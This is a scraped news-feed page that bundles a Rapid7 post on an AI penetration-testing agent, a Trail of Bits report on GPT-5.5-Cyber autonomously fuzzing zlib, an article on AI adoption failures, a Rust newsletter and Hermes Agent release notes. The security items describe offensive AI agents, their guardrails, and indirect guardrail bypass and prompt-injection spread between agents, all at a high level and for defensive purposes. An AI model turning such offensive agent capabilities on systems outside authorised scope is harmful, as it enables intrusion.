    The key design decision that made this work was methodological, not technical. We reverse-engineered the agent's architecture directly from our team's daily task lists. The to-do items our testers tracked during real engagements became the specification: which tasks repeat, in what sequence, where decisions branch, and what triggers a return to an earlier phase. The methodology we'd built over years of engagements became the orchestration logic.

    Scope decomposition: Giving every target full attention

    One of the earliest lessons we learned was that throwing an entire engagement scope at an AI agent produces shallow, scattered results. LLMs have finite context windows and finite attention. A complex application with dozens of endpoints, multiple authentication flows, and layered business logic overwhelms a single-pass analysis and important details get lost in the noise.

    The solution was deliberate scope decomposition. Before the agent begins any technical work, the engagement scope is broken into discrete, manageable chunks.  The scope includes individual components, feature areas, or functional boundaries. Each chunk flows through the full architecture independently: enumeration, code review, dynamic testing, and reporting. The orchestrator tracks which chunks are complete, which are in progress, and which are queued.

    This achieves two things. First, it ensures depth over breadth as each component receives the agent's full analytical attention rather than competing for context space with everything else. Second, it creates natural parallelization opportunities and clear progress tracking. A tester can see exactly which areas have been thoroughly assessed and which remain.

    The principal maps directly to how experienced pentesters already work by breaking the target into logical units, going deep on each one, then synthesizing across them. Making the principal explicit and enforceable in the orchestration logic was the design contribution.

    Feedback loops: Why linear pipelines fail

    Real penetration tests don't follow a straight line. Code review reveals new endpoints that need enumeration. Dynamic testing uncovers an attack surface that wasn't visible from source alone. Validated findings sometimes expose entirely new subsystems.

    The agent handles this natively. The orchestrator maintains a routing table with progression gates — criteria that must be met before advancing — and feedback triggers that route the engagement backward when new actionable data emerges. This creates a directed graph with re-entry points, not a waterfall.

    Guardrails: Maintaining safety in a malicious context

    Building an AI agent that can hack is relatively straightforward but building one that operates safely within defined boundaries is a challenge. So it was an area where we invested significant design effort.

    The system uses a tiered safety model:

    • Scope enforcement — every action is validated against the engagement's authorized scope before execution. Out-of-scope discoveries are reported but never probed.

    • Action classification — before execution, every proposed dynamic test is categorized as non-destructive, destructive, or ambiguous. Destructive and ambiguous actions require human approval.

    • Human-in-the-loop by default — in our current deployment, a tester reviews and approves every dynamic test. The agent proposes; the human decides.

    The system is designed with a path toward semi-automated operation where low-risk, read-only actions execute autonomously while state-modifying operations still require human approval. The decision about where to sit on that spectrum is context-dependent. Internal labs can tolerate more autonomy while client engagements demand more oversight.

    Token efficiency: Making AI practical

    AI agents are expensive to run at scale. Every enumeration step, every code block analyzed, every HTTP request reasoned about will consume tokens. It is a practical concern that shaped several design decisions. 

    The approach was to identify mechanical tasks that don't require LLM reasoning and replace them with deterministic scripts and MCP servers. DNS lookups, header checks, input field probing, and certificate enumeration produce structured data that the agent consumes, but the data collection itself doesn't need intelligence. This reduced token consumption dramatically for enumeration-heavy phases while letting the AI focus its reasoning budget on analysis, correlation, and judgement.

    Not every step in an AI workflow needs AI. Knowing where to draw that line was the difference between a demo and a production system for us.

    Securing AI from the inside out

    There's a dimension to this work that goes beyond offensive operations. Rapid7 builds AI-powered products. As the internal security team, we're responsible for securing those systems and building a complex multi-agent architecture gave us direct insight into where the weak points live.

    Designing the orchestrated system taught us exactly how prompt injection can propagate between agents, where trust boundaries blur when one agent's output becomes another's input, how guardrails can be bypassed through indirect manipulation, and what happens when scope enforcement relies on instruction-following rather than programmatic controls.

    We now test Rapid7's AI features with the same architectural intuition we developed building this system. We know where to look because we've built the same patterns and felt where they flex. When we assess an AI system's safety, we're thinking like the orchestrator — looking for the routing decision that can be subverted, the progression gate that can be skipped, the feedback loop that can be poisoned.

    Building offensive AI made us materially better at defending the AI we ship to customers.

    What we learned operating the multi-agent system

    A few observations from our team:

    Methodology is the differentiator

    The LLMs are commodities. The orchestration patterns are emerging in open literature. What makes an AI agent effective at penetration testing is the methodology it follows and that's built from years of institutional knowledge. Formalizing our methodology into explicit, machine-executable logic was the most valuable part of the project.

    Building AI builds intuition for securing AI

    The architectural understanding we developed — trust boundaries, prompt propagation, scope enforcement failures — translates directly into more effective security assessments of production AI systems. This was an unexpected but significant return on the investment.

    The automation spectrum is context dependent

    Full autonomy isn't a goal; it's one end of a spectrum. The right level of automation depends on the context.Internal labs, client engagements, and product integrations each have different risk profiles. Designing for the spectrum rather than a fixed endpoint kept the system flexible.

    What's next for Rapid7 Red Teaming in the age of AI

    We're continuing to develop the system, refining the methodology mapping, expanding specialist capabilities, and exploring where purpose-built models could replace general-purpose LLM calls for specific tasks (such as severity classification, report writing, payload selection). We're also using what we learn from operating this system to inform how Rapid7 detects and responds to AI-enhanced offensive activity in the wild.

    You can learn more about Vector Command, Rapid7's continuous red-teaming solution, here.

    ]]>         <![CDATA[The Untaught Lessons of RAG Question Parsing: Structure Before You Search]]> https://tsecurity.de/de/3641056/ai-nachrichten/the-untaught-lessons-of-rag-question-parsing-structure-before-you-search/ https://tsecurity.de/de/3641056/ai-nachrichten/the-untaught-lessons-of-rag-question-parsing-structure-before-you-search/ Thu, 02 Jul 2026 14:04:25 +0200 🔧 AI Nachrichten tsecurity.de Enterprise Document Intelligence [Vol.1 #6ter] - Six positions on the question-parsing brick that contradict the mainstream RAG playbook

    The post The Untaught Lessons of RAG Question Parsing: Structure Before You Search appeared first on Towards Data Science.

    ]]>         <![CDATA[Safari Technology Preview 247 Arrives With MCP Server for Developers]]> https://tsecurity.de/de/3640987/ios-mac-os/safari-technology-preview-247-arrives-with-mcp-server-for-developers/ https://tsecurity.de/de/3640987/ios-mac-os/safari-technology-preview-247-arrives-with-mcp-server-for-developers/ Thu, 02 Jul 2026 13:39:20 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Field reports from Patch the Planet]]> https://tsecurity.de/de/3640928/it-security-nachrichten/field-reports-from-patch-the-planet/ https://tsecurity.de/de/3640928/it-security-nachrichten/field-reports-from-patch-the-planet/ Thu, 02 Jul 2026 13:23:51 +0200 📰 IT Security Nachrichten tsecurity.de We’re running Patch the Planet, an ongoing collaboration with OpenAI that pairs Trail of Bits engineers directly with more than 30 open-source projects. Its goal is to front-run a serious problem facing open-source maintainers: highly capable models like GPT-5.5-Cyber will soon create a firehose of bug reports, and OSS maintainers are already spread thin. Our plan is to point OpenAI’s latest models at real codebases, find the security bugs first, work with maintainers to patch them, and find ways to decrease the burden on maintainers in the long run.

    This post compiles field reports from Patch the Planet. We’ll update it as the initiative progresses with insights on model capabilities, bespoke tooling for maintainers, and industry guidance. Follow this blog for updates.

    Field report 1: GPT-5.5-Cyber built a custom fuzzing harness for zlib

    Authored by Benjamin Samuels

    The expertise barrier that kept bespoke fuzzing campaigns out of reach for most attackers is gone. We watched GPT-5.5-Cyber build in a single day what would have taken weeks for a skilled security researcher: harnesses across a dozen entrypoints, sanitizer and variant builds, seeds, and multiple findings currently undergoing coordinated disclosure.

    This particular instance focused on zlib, a widely used data format and lossless data compression software library. We pointed GPT-5.5-Cyber at the library and drove it through Codex with the /goal command, asking it to find a specific class of bugs that are critically dangerous in compression libraries. We’ll publish the full harness and findings for inspection once the vulnerabilities are patched and a new release is cut.

    The lab GPT-5.5-Cyber built in a day

    We didn’t tell the model how to find these bugs. The obvious first move is to read the source code, but zlib has been reviewed so thoroughly that there’s little left to find that way. GPT-5.5-Cyber worked that out for itself, judged static review to be a poor use of tokens, and decided the higher value path was to build fuzz tooling to dynamically test the code. Earlier models given the same goal tend to read the code and flag whatever looks suspicious, ultimately leading to mediocre outcomes.

    We believe the frontier 5.5-Cyber model combined with the /goal feature is what let it execute end-to-end without hand-holding. /goal forced the objective to live across multiple turns and compactions so the model held scope, and 5.5-Cyber was smart enough to reject weak findings, expand coverage when a line of investigation died, and keep running until it had workable proof-of-concepts backed by sanitizer output.

    Over the next several hours, it built the campaign out one piece at a time:

    • It used ASan and UBSan builds so memory errors became observable.
    • It repurposed existing edge-case tests as guidance for the fuzz seed corpus.
    • It wrote C/C++ harnesses across a dozen entrypoints, including inflate, inflateBack, uncompress2, gzFile, MiniZip, puff, blast, infback9, gzjoin, gzappend, and several contrib stream wrappers.
    • It used compile-time variant builds (INFLATE_STRICT, BUILDFIXED, PKZIP_BUG_WORKAROUND, etc.) to reach code that the default zlib build hides.

    Each of these decisions is routine on its own, but stringing them together in the right order across a dozen entrypoints, without being handed the steps, is a relatively large shift in how capable frontier models are.

    While zlib already has fuzzing coverage from its OSS-Fuzz harness, GPT-5.5-Cyber went beyond the default harness shape, which passes random inputs to the gz* APIs. Instead of directly fuzzing the gz* APIs, its most successful harness found bugs in valid gz* states that could only be constructed by operating system backpressure.

    Reporting discipline is the hard part

    In general, models tend to struggle with deciding when a finding is severe enough to justify escalating it into reporting. Weaker models tend to escalate bugs that cause the program to crash, but are not reachable under real-world conditions. Early on, GPT-5.5-Cyber hit a null callback crash in inflateBack. The crash was real, but reaching it required a caller to set up a state that was extraordinarily unlikely in real-world conditions, so the model logged it as unreachable and moved on. This agent kept going without human intervention and found several higher-impact issues.

    That discipline is the whole game. The value of the zlib harness came from automation plus a strict definition of what counted as a reportable finding. Without strong validity rules baked into the goal and a model truly capable of evaluating those rules, the agent will generate mountains of noise with high confidence: invalid uses of the public API, expected parser errors, internal API misuse, etc.

    The moat is gone

    Setting up a bespoke fuzzing campaign used to mean finding someone who could write harnesses, reason about valid API state, and differentiate between a bug and a crash that can’t happen in practice. This asymmetry kept casual attackers out of the game for most targets.

    That moat is mostly gone now, and it shifts the threat model in two directions at the same time. For a skilled researcher, it is a force multiplier: the weeks-long tax on every new target drops to a day or less, so the same person can audit far more code. For a low-skill attacker, the floor rises: the tedious, expertise-heavy work of getting a harness off the ground can now be driven by starting a goal and supervising the loop.

    For anyone shipping security-critical code, the practical takeaway is clear. Bespoke fuzzing is no longer a luxury reserved for projects with mature OSS-Fuzz coverage, and it is no longer expensive for the people whom you would rather not have running it. The defensive move is to do it first, with the validity rules that turn agent output into a high-signal source you can act on.

    Lessons learned

    The fuzzing lab answered the question we came in with and left us a much bigger one. We didn’t ask GPT-5.5-Cyber to build a fuzzing campaign; it decided that was the job and did it. The thing worth watching for now is what else these new models will reach for once you hand them a goal and step back, especially the approaches we would never have thought to ask for before.

    That is also why the front-running work being done by Patch the Planet matters. Every new capability that helps us find bugs faster is just as available to an attacker, so the advantage goes to whoever finds the bugs and fixes them first.

    ]]>         <![CDATA[How AI could make markets worse]]> https://tsecurity.de/de/3640833/ai-nachrichten/how-ai-could-make-markets-worse/ https://tsecurity.de/de/3640833/ai-nachrichten/how-ai-could-make-markets-worse/ Thu, 02 Jul 2026 12:48:46 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[4 reasons AI projects fail that have nothing to do with technology]]> https://tsecurity.de/de/3640730/it-nachrichten/4-reasons-ai-projects-fail-that-have-nothing-to-do-with-technology/ https://tsecurity.de/de/3640730/it-nachrichten/4-reasons-ai-projects-fail-that-have-nothing-to-do-with-technology/ Thu, 02 Jul 2026 12:03:44 +0200 📰 IT Nachrichten tsecurity.de

    Having worked with dozens of companies in various stages of AI adoption, I’ve had a front-row seat to the myriad reasons (and sometimes excuses) why AI projects fail to launch, fail to make it past pilots or fail to deliver business value and ROI.

    While every organization’s circumstances are unique, the root causes are often surprisingly familiar. Like so many technological leaps that came before AI, fear, culture and competing priorities are often the biggest barriers to enterprise success.

    1. Fear of job replacement

    It’s no secret that employees across industries, roles and seniority levels can see the writing on the wall: AI will affect their careers. According to Pew Research, 52% of workers are concerned about AI’s future impact on the workplace, and 32% believe it will reduce job opportunities in the long run.

    As a result, there may be resistance, or just a lack of enthusiasm, to AI initiatives. This can cause AI success to stall in the form of slow adoption, low engagement and knowledge hoarding. One Writer study even found that 29% of employees (and 44% of Gen Z) admit to sabotaging their employer’s AI strategy.

    There is a common refrain, and new research from Gartner to boot, that beginning in 2028, AI will create more jobs than it eliminates. Even so, such assurances can ring hollow to employees. The bitter pill for tech leaders to swallow is that there is little certainty that the jobs to be created will be well-paid or accessible to workers whose roles were eliminated.

    Tech leaders are often surrounded by high performers, innovators and professionals who naturally view change as an opportunity. In these environments, it’s easy to overlook that many workers experience transformation differently—and would prefer predictability over a disruption to their routine or simply don’t have the bandwidth to pivot.

    Take secretarial work, which was once a well-compensated role, especially for women without an advanced degree. Technology—namely computers, email, software and virtual assistants—enabled the reduction in demand for these professionals, not overnight but over the course of several decades. More than 2.1 million administrative and office support jobs have disappeared in the U.S. since 2000, according to Labor Department data. While there are many professionals who upskilled or changed careers, The Washington Post reports that middle-aged and older workers have had a hard time finding work within their skill set with similar pay and benefits.

    On the other end of the spectrum, AI is empowering many employees to lift the ceiling on their potential by expanding what we can do and who can contribute high-value work. A rising tide may lift all boats, but those who Microsoft dubs “Frontier Professionals,” who are the most advanced AI users, are most likely to benefit from new job opportunities created by AI. The Writer study shows that 92% of the C-suite are actively cultivating “AI elite” employees, while 60% plan layoffs for non-adopters.

    No leader can promise what the labor market will look like a decade from now. What they can do is provide clarity about the next six months to two years. Moreover, supporting employees with tools that help them prepare for the future is more valuable than trying to offer certainty about the future.

    Provide a transparent roadmap for your organization’s AI implementation goals. Acknowledge the fear, but also the possibility, and help employees process the changes they are living through by providing access to information, continuing education, redesigned workflows and sandbox environments for AI learning and experimentation. The exact way your organization approaches the fear of job replacement will depend on the nature of your industry and its professionals. Some roles will change dramatically in a few years, while others may change slowly over decades, as secretarial roles did.

    Ironically, despite fears of job displacement, AI workforce impact remains low, according to The State of AI in the Enterprise Report. The most immediate barrier to AI adoption is often the opposite: a shortage of AI skills and systems. 

    2. Lack of AI-first culture

    Many organizations purchase AI technology without redesigning current business processes and workflows around it, which can lead to failed adoption. AI adoption is less like a software rollout and more like an organizational transformation initiative that requires “cultural openness” to a process or workflow reset.

    Despite the anxiety around AI at work, the Microsoft Work Trend Index Annual Report found that “In many cases, people are ready. The systems around them are not.” The research shows that 65% of AI users fear falling behind if they don’t adapt fast. Yet 45% say it feels safer to stick with current goals than to redesign work with AI—and only 13% are rewarded for reinventing how they work, even when results fall short. This demonstrates a paradox where organizational metrics, incentives and norms keep employees anchored to the past way of doing things.

    There is no universal blueprint for an AI-first culture. What it looks like will vary by organization, industry and workforce, and it will continue to evolve as AI capabilities mature. But a common thread is prioritizing a growth mindset. As Microsoft Chief People Officer Amy Coleman and WSJ Leadership Institute President Alan Murray discussed in a recent interview, “Stop being a know-it-all company and start being a learn-it-all company.” That means encouraging experimentation despite imperfect conditions, permitting employees to fail, rewarding those who succeed, and ensuring leaders model the behaviors they want to see.

    Learning and development alone are not enough. An AI-first culture must also prioritize strong data foundations and workflows, which may be one of the most challenging barriers to overcome. The State of AI in the Enterprise Report found that although 42% of companies surveyed believe their strategy is highly prepared for AI adoption, they feel less prepared in terms of infrastructure, data, risk and talent.

    For leaders who view culture as a secondary concern, the numbers tell a different story. The Microsoft report revealed 67% of AI impact comes from culture, manager support and talent practices, which is more than double the 32% tied to individual mindset and behavior.

    3. Competing priorities and misaligned incentives

    One of the least discussed reasons AI projects fail is that different stakeholders are optimizing for fundamentally different definitions of success. Consider an ITSM AI initiative: the CIO is tasked with reducing technology costs, the service desk wants faster ticket resolution, builders want scalable systems and the legal department is concerned about compliance and liability. Each group may support the project in principle, but they are measuring success through entirely different lenses.

    Without alignment on a shared business objective, teams might struggle to balance the inevitable trade-offs AI projects require. Teams optimize for their own priorities rather than a common outcome, resulting in slower decisions, competing incentives and a lack of ROI. They might also be working off of incentive structures that reward the old way of doing things. For example, if an IT team is rewarded based on tickets resolved, there is little incentive to drive down ticket volume in the first place.

    In some organizations, the problem runs even deeper. Rather than optimizing for a business outcome, they’re optimizing for appearances. 75% of executives acknowledge their company’s AI strategy is more performative than practical—existing primarily to signal innovation rather than to provide meaningful business results. Much like offices that touted high-end photocopiers in the 1980s that nobody knew how to use, investments in this vein can end up costing way more than they’re worth.

    Unlike underutilized photocopiers, the stakes of failing at AI adoption are high. Though the underlying challenges are nothing new, what is new is the scale of AI’s impact and the risk of falling behind competitors that get it right. (Yes, I recognize the irony of referencing photocopier technology while writing about AI.)

    4. Excuses

    When explaining why AI projects stall, there are sometimes excuses:

    • The vendor overpromised
    • We chose the wrong model
    • The technology wasn’t mature enough
    • Compliance and legal slowed us down
    • We didn’t have the right talent
    • The market changed

    These concerns are valid but rarely insurmountable. Nearly every successful AI program has had to navigate some combination of imperfect circumstances. It’s important to treat these challenges as hurdles, not dead ends, and find ways around them by having a growth mindset culture and bringing in expertise where needed.

    I’ve yet to see a project fail because leaders cared too much about communication, culture, alignment or commitment over the long-term. More often, the opposite is true. AI may be one of the most significant technological shifts of our lifetime, but success still depends on fundamentals: strong leadership, adaptable culture, clear objectives and a willingness to act.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[Neue Xbox ohne Laufwerk: Microsoft will eure alten Spiele-Discs retten]]> https://tsecurity.de/de/3640520/it-security-nachrichten/neue-xbox-ohne-laufwerk-microsoft-will-eure-alten-spiele-discs-retten/ https://tsecurity.de/de/3640520/it-security-nachrichten/neue-xbox-ohne-laufwerk-microsoft-will-eure-alten-spiele-discs-retten/ Thu, 02 Jul 2026 10:24:34 +0200 📰 IT Security Nachrichten tsecurity.de Microsoft, Gaming, Xbox, Technologie, Spielekonsole, Videospiele, 3D-Rendering, Markenzeichen, Risse, konsolenkrieg, Zerbrochen, Grünes Logo, Gebrochene Oberfläche Physische Xbox-Spiele auf Datenträgern sterben aus. Während optische Laufwerke in Konsolen bald komplett gestrichen werden, arbeitet Microsoft an einer neuen Lösung für ältere Titel. Ein Feature soll es ermöglichen, Discs in digitale Lizenzen umzuwandeln. (Weiter lesen)]]> <![CDATA[This Week In Rust: This Week in Rust 658]]> https://tsecurity.de/de/3640170/tools/this-week-in-rust-this-week-in-rust-658/ https://tsecurity.de/de/3640170/tools/this-week-in-rust-this-week-in-rust-658/ Thu, 02 Jul 2026 07:10:00 +0200 💾 Tools tsecurity.de Hello and welcome to another issue of This Week in Rust! Rust is a programming language empowering everyone to build reliable and efficient software. This is a weekly summary of its progress and community. Want something mentioned? Tag us at @thisweekinrust.bsky.social on Bluesky or @ThisWeekinRust on mastodon.social, or send us a pull request. Want to get involved? We love contributions.

    This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

    Want TWIR in your inbox? Subscribe here.

    Updates from Rust Community

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    Crate of the Week

    This week's crate is deconvolution, a image deconvolution and restoration library.

    Thanks to pbkx for the self-suggestion!

    Please submit your suggestions and votes for next week!

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    An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

    If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

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    Let us know if you would like your feature to be tracked as a part of this list.

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    CFP - Projects

    Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

    Some of these tasks may also have mentors available, visit the task page for more information.

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    If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

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    If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

    Updates from the Rust Project

    426 pull requests were merged in the last week

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    Rust Compiler Performance Triage

    Overall, the week was fairly neutral, with no meaningful shift on most benchmarks on any of our statistics.

    Triage done by @simulacrum. Revision range: 8b6558a0..7dc2c162

    2 Regressions, 1 Improvement, 7 Mixed; 5 of them in rollups 34 artifact comparisons made in total

    Full report here

    Approved RFCs

    Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

    • No RFCs were approved this week.
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    Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

    Tracking Issues & PRs
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    Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

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    Quote of the Week

    I do rather hope anyone using -Zllvm-target-features or any stabilized form thereof would know that they are getting a conversation with the dragon directly and they should mind their words carefully if they do not wish to be barbecued by it and served over a nice plate of iron filings.

    – workingjubilee on rust zulip

    Thanks to Tomáš Šedovič for the suggestion!

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    ]]>         <![CDATA[I made an open source TUI app to practice Japanese]]> https://tsecurity.de/de/3640025/linux-tipps/i-made-an-open-source-tui-app-to-practice-japanese/ https://tsecurity.de/de/3640025/linux-tipps/i-made-an-open-source-tui-app-to-practice-japanese/ Thu, 02 Jul 2026 04:09:23 +0200 🐧 Linux Tipps tsecurity.de

    There are tonnes and tonnes of apps and websites like this one out there to help you learn Japanese or any language. What frustrates me is that they’ve a very garbage UI or they’re run by scumbags like the green tandoori bird company. So I decided to make one myself. As a Linux guy, you should be able to do everything from your terminal. And that includes your Japanese lessons too.

    So far you can try: Hiragana, Katakana and N5 Level Kanji. I plan on adding more JLPT levels later on.

    You can also turn on the Infinite Lives mode to disable the quiz mode entirely and practice without the fear of making mistakes.

    If you’re interested, you can check out this project here: https://github.com/nuixyz/kanarenshu

    submitted by /u/nix609
    [link] [comments]]]>         <![CDATA[After $18B IPO, Bending Spoons founder says success comes from minimizing luck]]> https://tsecurity.de/de/3639852/it-nachrichten/after-18b-ipo-bending-spoons-founder-says-success-comes-from-minimizing-luck/ https://tsecurity.de/de/3639852/it-nachrichten/after-18b-ipo-bending-spoons-founder-says-success-comes-from-minimizing-luck/ Thu, 02 Jul 2026 00:32:43 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Cyber Insurance growth lessons from the CyberCube Affinity Marketplace partnership]]> https://tsecurity.de/de/3639803/it-security-nachrichten/cyber-insurance-growth-lessons-from-the-cybercube-affinity-marketplace-partnership/ https://tsecurity.de/de/3639803/it-security-nachrichten/cyber-insurance-growth-lessons-from-the-cybercube-affinity-marketplace-partnership/ Wed, 01 Jul 2026 23:54:06 +0200 📰 IT Security Nachrichten tsecurity.de SME Cybersecurity and cyber insurance growth lessons from the CyberCube Affinity Marketplace partnershipImage Credit: Gerd Altmann/Pixabay Image Credit: IfOnlyCommunications Latest Posts from R3DataRecovery DATA RECOVERY Why UK...

    The post Cyber Insurance growth lessons from the CyberCube Affinity Marketplace partnership appeared first on SME Cybersecurity News | SMECYBERInsights.co.uk.

    ]]>         <![CDATA[Hermes Agent v0.18.0 (2026.7.1) — The Judgment Release]]> https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/ https://tsecurity.de/de/3639600/downloads/hermes-agent-v0180-202671-the-judgment-release/ Wed, 01 Jul 2026 22:16:35 +0200 💾 Downloads tsecurity.de Hermes Agent v0.18.0 (v2026.7.1)

    Release Date: July 1, 2026
    Since v0.17.0: ~1,720 commits ¡ 998 merged PRs ¡ 2,215 files changed ¡ ~251,000 insertions ¡ ~41,000 deletions ¡ 949 issues closed ¡ 370+ community contributors

    The Judgment Release. Over the last week and a half the team put nearly all of its effort into one goal: resolve every P0 and P1 issue and PR in the entire Hermes Agent repo — and as of this release, 100% of them are closed. Zero open P0s. Zero open P1s. That's ~700 highest-priority items cleared as part of ~1,950 total issues and PRs closed this window. We intend to keep P0/P1 at zero from here on.

    On top of that clean-sweep, v0.18.0 is about how well Hermes thinks and how it knows when its work is actually done. Mixture-of-Agents became a first-class citizen — named ensembles of models you can pick like any other model, with every reference model's reasoning shown to you and the aggregator's answer streamed live. The agent learned to verify its own work against evidence instead of vibes, /goal gained completion contracts, and /learn + /journey turned self-improvement into something you can see and steer. Underneath, the gateway became genuinely deployable-at-scale (scale-to-zero, drain coordination), the desktop grew first-class coding projects and a playable memory graph, and subagents can now fan out in the background.

    🎯 The P0/P1 Clean Sweep — 100% resolved

    This is the release headline. For a week and a half the team hammered the priority backlog day and night, and every single P0 and P1 across the whole repo is now closed:

    Priority Issues closed PRs merged
    P0 (critical) 3 8
    P1 (high) 493 188
    Total 496 196

    That's ~692 highest-priority items resolved in twelve days — and at the moment the sweep completed, the open P0/P1 count hit 0 across the entire repo. The final cluster to fall was the interrupt-protected-compression sibling-fork bug (issue #56391) and its fix (#56416), closed on an all-nighter right before this release cut.

    Special shoutout to @kshitijk4poor, who burned through the priority backlog day and night alongside the core team — the cron reliability wave, the compression-fork fix, the credential-exfil hardening, and a huge share of the P1 closures are his.

    We're keeping P0/P1 at 0 from here forward. 🫡

    ✨ Highlights

    • Mixture-of-Agents is now a first-class model you can pick — MoA used to be a mode you toggled; now every named MoA preset shows up as a selectable model under a moa provider, right alongside Claude, GPT, and Grok in every model picker (CLI, TUI, desktop, gateway). Pick "my-council" the same way you'd pick any model, and Hermes routes your prompt through that ensemble automatically. An ensemble of frontier models deliberating on your hardest questions is now one selection away, on every surface. (#46081, #53548, #53561 — @teknium1)

    • See every model's reasoning, then watch the answer stream in — When a MoA ensemble runs, each reference model's full output now renders as its own labelled block — you can read what GPT-5 thought, what Claude thought, and what Grok thought, before the aggregator synthesizes them into one answer. And that final answer now streams to you live instead of appearing all at once after a long silence. This works in the CLI, the TUI, and the desktop app. You get to watch the committee deliberate, not just read the verdict. (#53793, #53855, #55625, #56101 — @teknium1)

    • The agent verifies its own work — "done" means proven, not claimed — Hermes now records verification evidence for coding work and can decide it's finished by actually running your project's checks, not by asserting success. /goal gained completion contracts: you state what "done" looks like, and the standing-goal loop judges completion against that evidence instead of stopping when the model feels like it. There's a pre_verify hook for wiring in custom checks and a one-time migration that tunes the defaults sensibly. The difference between "I think I fixed it" and "the tests pass, here's proof." (#50501, #52285, #55413, #53552 — @teknium1, @OutThisLife)

    • /learn — turn anything into a reusable skill by describing it — Run /learn <anything> and Hermes distills a reusable skill out of whatever you point it at — a directory, a URL, or just the workflow you walked it through five minutes ago. It writes the skill to the standards in your CONTRIBUTING.md automatically. The next time you need that workflow, it's already there. Teaching Hermes a new trick is now a single command, not a manual skill-authoring session. (#51506, #52372 — @teknium1)

    • /journey — a playable timeline of everything Hermes has learned about you — The CLI and TUI gained /journey, a learning timeline that shows the memories and skills Hermes has accumulated over time — and you can edit or delete any of them right from the view. Pair it with the desktop's new memory graph (a top-down, playable radial timeline of memories and skills) and for the first time you can actually see what your agent knows, watch it grow, and prune what's wrong. Your agent's memory stops being a black box. (#55555, #55859, #55226 — @OutThisLife)

    • Delegate a pile of work and keep going — background fan-out — delegate_task can now fan out multiple subagents that all run in the background: your chat is never blocked, and when every subagent finishes, their results come back as a single consolidated turn. Kick off "research these five competitors in parallel" or "audit these three modules," then carry on with something else while a small fleet works. When it's all done, you get one clean summary instead of babysitting each one. (#49734 — @teknium1)

    • First-class coding Projects in the desktop app — The desktop app gained real, per-profile Projects — a sidebar of your codebases, a coding rail, a review pane, git worktree management, and agent-facing project tools, all backed by a proper project → repo → lane model. Instead of scattered chat sessions, your coding work is organized into projects the agent understands and can act on. It's the desktop turning into an actual coding cockpit. (#49037, #54385, #54517 — @OutThisLife)

    • Run Hermes at scale — scale-to-zero and drain coordination — The gateway can now go dormant when idle and quiesce cleanly before a restart, migration, or auto-update — without dropping in-flight conversations. A hosted or relay-only Hermes can scale to zero when nobody's talking to it and wake back up on demand, and disruptive lifecycle actions coordinate an external drain so nobody gets cut off mid-turn. Running Hermes for a team or as a hosted service just got a lot more production-grade. (#52243, #52937, #54824 — @teknium1, @benbarclay)

    • Cheaper self-improvement — smarter background review — The post-turn self-improvement fork (the one that decides whether to save a memory or skill) now routes to an auxiliary model, digests context instead of replaying the whole conversation, and adapts its cadence — so the "learn from what just happened" loop that runs after your turns costs a fraction of what it used to. You keep the self-improvement, you stop paying full main-model price for it. (#49252 — @teknium1)

    • Compose your next prompt in your editor — /prompt — /prompt opens your $EDITOR so you can hand-write a long, multi-line prompt in real markdown instead of fighting a one-line input box. Draft a detailed spec, a structured question, or a big paste, save, and it's queued as your next message. Small thing, huge quality-of-life win for anyone who writes Hermes more than a sentence at a time. (#50509 — @teknium1)

    • Google Vertex AI — Gemini through your GCP service account, no static key — Vertex AI is now a first-class provider for Gemini models over Vertex's OpenAI-compatible endpoint. The reason a plain custom-provider setup always died mid-session is that Vertex has no static API key — every request needs a short-lived OAuth2 access token (~1h TTL) minted from a service-account JSON or Application Default Credentials. Hermes now mints and auto-refreshes those tokens for you, so if your org runs Gemini through Google Cloud, you point Hermes at your service account and it just works — no token-pasting, no mid-session expiry. (#56363 — @teknium1, @slawt)

    • Security round — This window hardened several surfaces: MCP-config persistence attack surface locked down, cron base_url overrides that could exfiltrate provider credentials blocked, a non-reusable sentinel for prefix secrets in file reads, Slack app-level (xapp-) token redaction, a browser cloud-metadata floor enforced on every backend, and an aiohttp CVE floor across the lazy messaging paths. Fewer ways for a prompt-injected or misconfigured session to leak a credential. (#50476, #56196, #54166, #56227, #52349, #56237 — @teknium1, @kshitijk4poor, @claudlos)

    🧠 Mixture-of-Agents (MoA)

    MoA graduated from a mode to a first-class part of the model system this window.

    • Presets as selectable virtual models — each named MoA preset appears as a model under provider moa; pick it in any model picker and Hermes routes through the ensemble (#46081, #53561, #53775 — @teknium1)
    • /moa is now one-shot sugar — runs a single prompt through the default preset and restores your model afterward; persistent switching goes through the model picker (#53548 — @teknium1)
    • Reference-model output shown as labelled blocks in CLI, TUI, and desktop — read each model's reasoning before the aggregator's synthesis (#53793, #53855 — @teknium1)
    • Aggregator response streams live instead of appearing whole after a silence (#55625 — @teknium1)
    • References see full tool state and fire on every user/tool response; advisory references end on a user turn and get a reference-role system prompt (#54016, #54007 — @teknium1)
    • Opt-in full-turn trace persistence to JSONL (moa.save_traces) for debugging and eval (#56101 — @teknium1)
    • Reliability: reference + aggregator models called through their provider's real route; context window resolved from the aggregator (not the 256K default); auxiliary tasks resolve to the aggregator; virtual provider blocked as a reference/aggregator slot; tolerant of hand-edited preset config (#53580, #53780, #53827, #53281, #53275, #53556 — @teknium1)
    • MoA slot provider-identity unified on the single call_llm chokepoint; HermesBench results documented (#55991, #53206 — @teknium1)

    ✅ Verification & Goals — the agent proves its work

    • Completion contracts for /goal — state what "done" looks like; the standing-goal loop judges against evidence, not the model's say-so (#50501 — @teknium1)
